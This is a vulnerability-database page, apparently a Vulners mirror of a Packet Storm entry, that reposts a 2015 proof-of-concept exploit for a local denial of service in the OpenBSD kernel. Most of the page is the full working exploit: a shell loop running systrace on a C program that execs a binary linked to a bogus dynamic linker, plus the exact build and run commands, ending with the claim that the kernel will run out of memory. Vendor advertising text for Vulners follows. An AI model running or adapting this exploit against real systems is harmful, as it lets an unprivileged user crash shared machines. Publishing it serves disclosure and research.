Lucene search
+L

OpenBSD Local Denial Of Service

🗓️ 28 Jul 2015 00:00:00Reported by Maxime VillardType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

OpenBSD Local Denial Of Service, 2015 exploit triggering memory leak in OpenBSD kerne

Code
`/*  
* 2015, Maxime Villard  
* Exploit triggering a memory leak in the OpenBSD kernel from an unprivileged  
* user. Found by The Brainy Code Scanner.  
*/  
  
- - - - - - - - - - - - - - - - - script.sh - - - - - - - - - - - - - - - - - -  
  
#! /bin/sh  
while true  
do  
systrace -A ./exploit  
done  
  
- - - - - - - - - - - - - - - - - exploit.c - - - - - - - - - - - - - - - - - -  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
  
int main(int argc, char *argv[]) {  
execve("bin", argv, NULL);  
}  
  
- - - - - - - - - - - - - - - - - - bin.c - - - - - - - - - - - - - - - - - - -  
  
int main() {}  
  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
  
$ gcc -o exploit exploit.c  
$ gcc -Wl,-dynamic-linker,/DEAD -o bin bin.c  
$ ./script.sh  
  
Wait a bit, and the kernel will run out of memory.  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation